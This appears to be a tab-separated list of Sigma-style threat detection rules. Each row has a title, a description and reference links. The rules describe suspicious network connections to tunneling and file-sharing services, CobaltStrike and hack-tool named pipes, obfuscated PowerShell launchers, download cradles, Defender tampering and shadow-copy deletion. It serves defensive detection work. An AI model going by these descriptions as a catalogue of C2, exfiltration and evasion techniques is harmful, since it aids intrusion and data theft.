Communication To LocaltoNet Tunneling Service Initiated	Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains. LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet. Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls.	https://localtonet.com/documents/supported-tunnels, https://cloud.google.com/blog/topics/threat-intelligence/unc3944-targets-saas-applications
Network Connection Initiated To Mega.nz	Detects a network connection initiated by a binary to "api.mega.co.nz". Attackers were seen abusing file sharing websites similar to "mega.nz" in order to upload/download additional payloads.	https://megatools.megous.com/, https://www.mandiant.com/resources/russian-targeting-gov-business
Process Initiated Network Connection To Ngrok Domain	Detects an executable initiating a network connection to "ngrok" domains. Attackers were seen using this "ngrok" in order to store their second stage payloads and malware. While communication with such domains can be legitimate, often times is a sign of either data exfiltration by malicious actors or additional download.	https://ngrok.com/, https://ngrok.com/blog-post/new-ngrok-domains, https://www.virustotal.com/gui/file/cca0c1182ac114b44dc52dd2058fcd38611c20bb6b5ad84710681d38212f835a/, https://www.rnbo.gov.ua/files/2023_YEAR/CYBERCENTER/november/APT29%20attacks%20Embassies%20using%20CVE-2023-38831%20-%20report%20en.pdf
Communication To Ngrok Tunneling Service Initiated	Detects an executable initiating a network connection to "ngrok" tunneling domains. Attackers were seen using this "ngrok" in order to store their second stage payloads and malware. While communication with such domains can be legitimate, often times is a sign of either data exfiltration by malicious actors or additional download.	https://twitter.com/hakluke/status/1587733971814977537/photo/1, https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent
Potentially Suspicious Network Connection To Notion API	Detects a non-browser process communicating with the Notion API. This could indicate potential use of a covert C2 channel such as "OffensiveNotion C2"	https://github.com/mttaggart/OffensiveNotion, https://medium.com/@huskyhacks.mk/we-put-a-c2-in-your-notetaking-app-offensivenotion-3e933bace332
Network Communication Initiated To Portmap.IO Domain	Detects an executable accessing the portmap.io domain, which could be a sign of forbidden C2 traffic or data exfiltration by malicious actors	https://portmap.io/, https://github.com/rapid7/metasploit-framework/issues/11337, https://pro.twitter.com/JaromirHorejsi/status/1795001037746761892/photo/2
Suspicious Non-Browser Network Communication With Telegram API	Detects an a non-browser process interacting with the Telegram API which could indicate use of a covert C2	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/small-sieve/NCSC-MAR-Small-Sieve.pdf
Network Connection Initiated To Visual Studio Code Tunnels Domain	Detects network connections to Visual Studio Code tunnel domains initiated by a process on a system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.	https://ipfyx.fr/post/visual-studio-code-tunnel/, https://badoption.eu/blog/2023/01/31/code_c2.html, https://cydefops.com/vscode-data-exfiltration
Network Connection Initiated By Eqnedt32.EXE	Detects network connections from the Equation Editor process "eqnedt32.exe".	https://twitter.com/forensicitguy/status/1513538712986079238, https://forensicitguy.github.io/xloader-formbook-velvetsweatshop-spreadsheet/, https://news.sophos.com/en-us/2019/07/18/a-new-equation-editor-exploit-goes-commercial-as-maldoc-attacks-using-it-spike/
Network Connection Initiated By IMEWDBLD.EXE	Detects a network connection initiated by IMEWDBLD.EXE. This might indicate potential abuse of the utility as a LOLBIN in order to download arbitrary files or additional payloads.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-10---windows---powershell-download, https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/
Network Connection Initiated Via Notepad.EXE	Detects a network connection that is initiated by the "notepad.exe" process. This might be a sign of process injection from a beacon process or something similar. Notepad rarely initiates a network communication except when printing documents for example.	https://web.archive.org/web/20200219102749/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492186586.pdf, https://www.cobaltstrike.com/blog/why-is-notepad-exe-connecting-to-the-internet
Office Application Initiated Network Connection To Non-Local IP	Detects an office application (Word, Excel, PowerPoint) that initiate a network connection to a non-private IP addresses. This rule aims to detect traffic similar to one seen exploited in CVE-2021-42292. This rule will require an initial baseline and tuning that is specific to your organization.	https://corelight.com/blog/detecting-cve-2021-42292, https://learn.microsoft.com/de-de/microsoft-365/enterprise/urls-and-ip-address-ranges?view=o365-worldwide
Office Application Initiated Network Connection Over Uncommon Ports	Detects an office suit application (Word, Excel, PowerPoint, Outlook) communicating to target systems over uncommon ports.	https://blogs.blackberry.com/en/2023/07/romcom-targets-ukraine-nato-membership-talks-at-nato-summit
Python Initiated Connection	Detects a Python process initiating a network connection. While this often relates to package installation, it can also indicate a potential malicious script communicating with a C&C server.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-4---port-scan-using-python, https://pypi.org/project/scapy/
Outbound RDP Connections Over Non-Standard Tools	Detects Non-Standard tools initiating a connection over port 3389 indicating possible lateral movement. An initial baseline is required before using this utility to exclude third party RDP tooling that you might use.	https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708
RDP Over Reverse SSH Tunnel	Detects svchost hosting RDP termsvcs communicating with the loopback address and on TCP port 3389	https://twitter.com/cyb3rops/status/1096842275437625346
RDP to HTTP or HTTPS Target Ports	Detects svchost hosting RDP termsvcs communicating to target systems on TCP port 80 or 443	https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg, https://www.mandiant.com/resources/bypassing-network-restrictions-through-rdp-tunneling
RegAsm.EXE Initiating Network Connection To Public IP	Detects "RegAsm.exe" initiating a network connection to public IP adresses	https://app.any.run/tasks/ec207948-4916-47eb-a0f4-4c6abb2e7668/, https://research.splunk.com/endpoint/07921114-6db4-4e2e-ae58-3ea8a52ae93f/, https://lolbas-project.github.io/lolbas/Binaries/Regasm/
Remote Access Tool - AnyDesk Incoming Connection	Detects incoming connections to AnyDesk. This could indicate a potential remote attacker trying to connect to a listening instance of AnyDesk and use it as potential command and control channel.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows, https://asec.ahnlab.com/en/40263/
Silenttrinity Stager Msbuild Activity	Detects a possible remote connections to Silenttrinity c2	https://www.blackhillsinfosec.com/my-first-joyride-with-silenttrinity/
Network Connection Initiated From Process Located In Potentially Suspicious Or Uncommon Location	Detects a network connection initiated by programs or processes running from suspicious or uncommon files system locations.	https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo
Network Connection Initiated By Regsvr32.EXE	Detects a network connection initiated by "Regsvr32.exe"	https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/, https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
Potentially Suspicious Malware Callback Communication	Detects programs that connect to known malware callback ports based on statistical analysis from two different sandbox system databases	https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo
Network Communication Initiated To File Sharing Domains From Process Located In Suspicious Folder	Detects executables located in potentially suspicious directories initiating network connections towards file sharing domains.	https://twitter.com/M_haggis/status/900741347035889665, https://twitter.com/M_haggis/status/1032799638213066752, https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker, https://www.cisa.gov/uscert/ncas/alerts/aa22-321a, https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/exfil/Invoke-ExfilDataToGitHub.ps1
Microsoft Sync Center Suspicious Network Connections	Detects suspicious connections from Microsoft Sync Center to non-private IPs.	https://redcanary.com/blog/intelligence-insights-november-2021/
Rundll32 Internet Connection	Detects a rundll32 that communicates with public IP addresses	https://www.hybrid-analysis.com/sample/759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6?environmentId=100
Uncommon Outbound Kerberos Connection	Detects uncommon outbound network activity via Kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.	https://github.com/GhostPack/Rubeus
Potential Remote PowerShell Session Initiated	Detects a process that initiated a network connection over ports 5985 or 5986 from a non-network service account. This could potentially indicates a remote PowerShell connection.	https://threathunterplaybook.com/hunts/windows/190511-RemotePwshExecution/notebook.html
Communication To Uncommon Destination Ports	Detects programs that connect to uncommon destination ports	https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo
Outbound Network Connection To Public IP Via Winlogon	Detects a "winlogon.exe" process that initiate network communications with public IP addresses	https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/
Suspicious Outbound SMTP Connections	Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp, https://www.ietf.org/rfc/rfc2821.txt
CobaltStrike Named Pipe	Detects the creation of a named pipe as used by CobaltStrike	https://twitter.com/d4rksystem/status/1357010969264873472, https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis/, https://github.com/SigmaHQ/sigma/issues/253, https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/, https://redcanary.com/threat-detection-report/threats/cobalt-strike/
Suspicious Network Connection Binary No CommandLine	Detects suspicious network connections made by a well-known Windows binary run with no command line parameters	https://redcanary.com/blog/raspberry-robin/
ADFS Database Named Pipe Connection By Uncommon Tool	Detects suspicious local connections via a named pipe to the AD FS configuration database (Windows Internal Database). Used to access information such as the AD FS configuration settings which contains sensitive information used to sign SAML tokens.	https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/ADFSDBNamedPipeConnection.yaml, https://o365blog.com/post/adfs/, https://github.com/Azure/SimuLand
Suspicious Wordpad Outbound Connections	Detects a network connection initiated by "wordpad.exe" over uncommon destination ports. This might indicate potential process injection activity from a beacon or similar mechanisms.	https://blogs.blackberry.com/en/2023/07/romcom-targets-ukraine-nato-membership-talks-at-nato-summit
CobaltStrike Named Pipe Pattern Regex	Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles	https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575, https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752
Outbound Network Connection Initiated By Script Interpreter	Detects a script interpreter wscript/cscript opening a network connection to a non-local network. Adversaries may use script to download malicious payloads.	https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md
Potentially Suspicious Wuauclt Network Connection	Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code and making network connections. One could easily make the DLL spawn a new process and inject to it to proxy the network connection and bypass this rule.	https://dtm.uk/wuauclt/
Local Network Connection Initiated By Script Interpreter	Detects a script interpreter (Wscript/Cscript) initiating a local network connection to download or execute a script hosted on a shared folder.	https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md
CobaltStrike Named Pipe Patterns	Detects the creation of a named pipe with a pattern found in CobaltStrike malleable C2 profiles	https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575, https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752
HackTool - CoercedPotato Named Pipe Creation	Detects the pattern of a pipe name as used by the hack tool CoercedPotato	https://blog.hackvens.fr/articles/CoercedPotato.html, https://github.com/hackvens/CoercedPotato
HackTool - EfsPotato Named Pipe Creation	Detects the pattern of a pipe name as used by the hack tool EfsPotato	https://twitter.com/SBousseaden/status/1429530155291193354?s=20, https://github.com/zcgonvh/EfsPotato
HackTool - DiagTrackEoP Default Named Pipe	Detects creation of default named pipe used by the DiagTrackEoP POC, a tool that abuses "SeImpersonate" privilege.	https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L22
HackTool - Koh Default Named Pipe	Detects creation of default named pipes used by the Koh tool	https://github.com/GhostPack/Koh/blob/0283d9f3f91cf74732ad377821986cfcb088e20a/Clients/BOF/KohClient.c#L12
HackTool - Credential Dumping Tools Named Pipe Created	Detects well-known credential dumping tools execution via specific named pipe creation	https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment, https://image.slidesharecdn.com/zeronights2017kheirkhabarov-171118103000/75/hunting-for-credentials-dumping-in-windows-environment-57-2048.jpg?cb=1666035799
Alternate PowerShell Hosts Pipe	Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe	https://threathunterplaybook.com/hunts/windows/190610-PwshAlternateHosts/notebook.html, https://threathunterplaybook.com/hunts/windows/190410-LocalPwshExecution/notebook.html
New PowerShell Instance Created	Detects the execution of PowerShell via the creation of a named pipe starting with PSHost	https://threathunterplaybook.com/hunts/windows/190610-PwshAlternateHosts/notebook.html, https://threathunterplaybook.com/hunts/windows/190410-LocalPwshExecution/notebook.html
PUA - CSExec Default Named Pipe	Detects default CSExec pipe creation	https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view, https://github.com/malcomvetter/CSExec
PUA - PAExec Default Named Pipe	Detects PAExec default named pipe	https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/efa17a600b43c897b4b7463cc8541daa1987eeb4/Command%20and%20Control/C2-NamedPipe.md, https://github.com/poweradminllc/PAExec
PUA - RemCom Default Named Pipe	Detects default RemCom pipe creation	https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view, https://github.com/kavika13/RemCom
WMI Event Consumer Created Named Pipe	Detects the WMI Event Consumer service scrcons.exe creating a named pipe	https://github.com/RiccardoAncarani/LiquidSnake
Malicious Named Pipe Created	Detects the creation of a named pipe seen used by known APTs or malware.	https://securelist.com/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/71275/, https://securelist.com/faq-the-projectsauron-apt/75533/, https://web.archive.org/web/20180725233601/https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf, https://www.us-cert.gov/ncas/alerts/TA17-117A, https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html, https://thedfirreport.com/2020/06/21/snatch-ransomware/, https://github.com/RiccardoAncarani/LiquidSnake, https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity, https://us-cert.cisa.gov/ncas/analysis-reports/ar19-304a, https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf, https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/, https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
Nslookup PowerShell Download Cradle	Detects a powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records.	https://twitter.com/Alh4zr3d/status/1566489367232651264
PsExec Tool Execution From Suspicious Locations - PipeName	Detects PsExec default pipe creation where the image executed is located in a suspicious location. Which could indicate that the tool is being used in an attack	https://www.jpcert.or.jp/english/pub/sr/ir_research.html, https://jpcertcc.github.io/ToolAnalysisResultSheet
Delete Volume Shadow Copies Via WMI With PowerShell	Shadow Copies deletion using operating systems utilities via PowerShell	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md, https://www.fortinet.com/blog/threat-research/stomping-shadow-copies-a-second-look-into-deletion-methods
PowerShell Downgrade Attack - PowerShell	Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0	http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/
PowerShell Called from an Executable Version Mismatch	Detects PowerShell called from an executable by the version mismatch method	https://adsecurity.org/?p=2921
Netcat The Powershell Version	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network	https://nmap.org/ncat/, https://github.com/besimorhino/powercat, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md
Potential RemoteFXvGPUDisablement.EXE Abuse	Detects PowerShell module creation where the module Contents are set to "function Get-VMRemoteFXPhysicalVideoAdapter". This could be a sign of potential abuse of the "RemoteFXvGPUDisablement.exe" binary which is known to be vulnerable to module load-order hijacking.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md, https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1
Remote PowerShell Session (PS Classic)	Detects remote PowerShell sessions	https://threathunterplaybook.com/hunts/windows/190511-RemotePwshExecution/notebook.html
Renamed Powershell Under Powershell Channel	Detects a renamed Powershell execution, which is a common technique used to circumvent security controls and bypass detection logic that's dependent on process names and process paths.	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
Suspicious PowerShell Download	Detects suspicious PowerShell download command	https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html
Use Get-NetTCPConnection	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell
Zip A Folder With PowerShell For Staging In Temp - PowerShell	Detects PowerShell scripts that make use of the "Compress-Archive" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md, https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a
Tamper Windows Defender - PSClassic	Attempting to disable scheduled scanning and other parts of Windows Defender ATP or set default actions to allow.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
Suspicious Non PowerShell WSMAN COM Provider	Detects suspicious use of the WSMAN provider without PowerShell.exe as the host application.	https://twitter.com/chadtilbury/status/1275851297770610688, https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/, https://github.com/bohops/WSMan-WinRM
Potential Active Directory Enumeration Using AD Module - PsModule	Detects usage of the "Import-Module" cmdlet to load the "Microsoft.ActiveDirectory.Management.dl" DLL. Which is often used by attackers to perform AD enumeration.	https://github.com/samratashok/ADModule, https://twitter.com/cyb3rops/status/1617108657166061568?s=20, https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges
Alternate PowerShell Hosts - PowerShell Module	Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe	https://threathunterplaybook.com/hunts/windows/190610-PwshAlternateHosts/notebook.html
Bad Opsec Powershell Code Artifacts	focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including Cobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads that often undergo minimal changes by attackers due to bad opsec.	https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/, https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/, https://www.mdeditor.tw/pl/pgRt
Clear PowerShell History - PowerShell Module	Detects keywords that could indicate clearing PowerShell history	https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a
PowerShell Decompress Commands	A General detection for specific decompress commands in PowerShell logs. This could be an adversary decompressing files.	https://github.com/OTRF/detection-hackathon-apt29/issues/8, https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/4.A.3_09F29912-8E93-461E-9E89-3F06F6763383.md
Malicious PowerShell Scripts - PoshModule	Detects the execution of known offensive powershell scripts used for exploitation or reconnaissance	https://github.com/PowerShellMafia/PowerSploit, https://github.com/NetSPI/PowerUpSQL, https://github.com/CsEnox/EventViewer-UACBypass, https://web.archive.org/web/20210511204621/https://github.com/AlsidOfficial/WSUSpendu, https://github.com/nettitude/Invoke-PowerThIEf, https://github.com/S3cur3Th1sSh1t/WinPwn, https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries, https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1, https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1, https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1, https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1, https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/, https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/, https://github.com/HarmJ0y/DAMP, https://github.com/samratashok/nishang, https://github.com/DarkCoderSc/PowerRunAsSystem/, https://github.com/besimorhino/powercat
Suspicious Get-ADDBAccount Usage	Detects suspicious invocation of the Get-ADDBAccount script that reads from a ntds.dit file and may be used to get access to credentials without using any credential dumpers	https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/, https://github.com/MichaelGrafnetter/DSInternals/blob/7ba59c12ee9a1cb430d7dc186a3366842dd612c8/Documentation/PowerShell/Get-ADDBAccount.md
PowerShell Get Clipboard	A General detection for the Get-Clipboard commands in PowerShell logs. This could be an adversary capturing clipboard contents.	https://github.com/OTRF/detection-hackathon-apt29/issues/16, https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/7.A.2_F4609F7E-C4DB-4327-91D4-59A58C962A02.md
HackTool - Evil-WinRm Execution - PowerShell Module	Detects the execution of Evil-WinRM via PowerShell Module logs by leveraging the hardcoded strings inside the utility.	https://github.com/Hackplayers/evil-winrm/blob/7514b055d67ec19836e95c05bd63e7cc47c4c2aa/evil-winrm.rb, https://github.com/search?q=repo%3AHackplayers%2Fevil-winrm++shell.run%28&type=code
Invoke-Obfuscation CLIP+ Launcher - PowerShell Module	Detects Obfuscated use of Clip.exe to execute PowerShell	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell Module	Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block cited in the reference section below	https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888
Invoke-Obfuscation STDIN+ Launcher - PowerShell Module	Detects Obfuscated use of stdin to execute PowerShell	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation VAR+ Launcher - PowerShell Module	Detects Obfuscated use of Environment Variables to execute PowerShell	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell Module	Detects Obfuscated Powershell via COMPRESS OBFUSCATION	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell Module	Detects Obfuscated Powershell via RUNDLL LAUNCHER	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Stdin - PowerShell Module	Detects Obfuscated Powershell via Stdin in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Use MSHTA - PowerShell Module	Detects Obfuscated Powershell via use MSHTA in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Use Clip - PowerShell Module	Detects Obfuscated Powershell via use Clip.exe in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Use Rundll32 - PowerShell Module	Detects Obfuscated Powershell via use Rundll32 in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell Module	Detects Obfuscated Powershell via VAR++ LAUNCHER	https://github.com/SigmaHQ/sigma/issues/1009
Malicious PowerShell Commandlets - PoshModule	Detects Commandlet names from well-known PowerShell exploitation frameworks	https://adsecurity.org/?p=2921, https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries, https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1, https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1, https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1, https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1, https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/, https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/, https://github.com/calebstewart/CVE-2021-1675, https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1, https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html, https://github.com/HarmJ0y/DAMP, https://github.com/samratashok/nishang, https://github.com/DarkCoderSc/PowerRunAsSystem/, https://github.com/besimorhino/powercat, https://github.com/Kevin-Robertson/Powermad, https://github.com/adrecon/ADRecon, https://github.com/adrecon/AzureADRecon
Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell Module	Detects PowerShell module creation where the module Contents are set to "function Get-VMRemoteFXPhysicalVideoAdapter". This could be a sign of potential abuse of the "RemoteFXvGPUDisablement.exe" binary which is known to be vulnerable to module load-order hijacking.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md, https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1
AD Groups Or Users Enumeration Using PowerShell - PoshModule	Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md
Remote PowerShell Session (PS Module)	Detects remote PowerShell sessions	https://threathunterplaybook.com/hunts/windows/190511-RemotePwshExecution/notebook.html
Suspicious PowerShell Download - PoshModule	Detects suspicious PowerShell download command	https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadfile?view=net-8.0, https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstring?view=net-8.0
Use Get-NetTCPConnection - PowerShell Module	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell
Suspicious PowerShell Invocations - Generic - PowerShell Module	Detects suspicious PowerShell invocation command parameters	Internal Research
Suspicious PowerShell Invocations - Specific - PowerShell Module	Detects suspicious PowerShell invocation command parameters	Internal Research
Suspicious Get Local Groups Information	Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md
Suspicious Computer Machine Password by PowerShell	The Reset-ComputerMachinePassword cmdlet changes the computer account password that the computers use to authenticate to the domain controllers in the domain. You can use it to reset the password of the local computer.	https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/reset-computermachinepassword?view=powershell-5.1, https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
Suspicious Get Information for SMB Share - PowerShell Module	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md
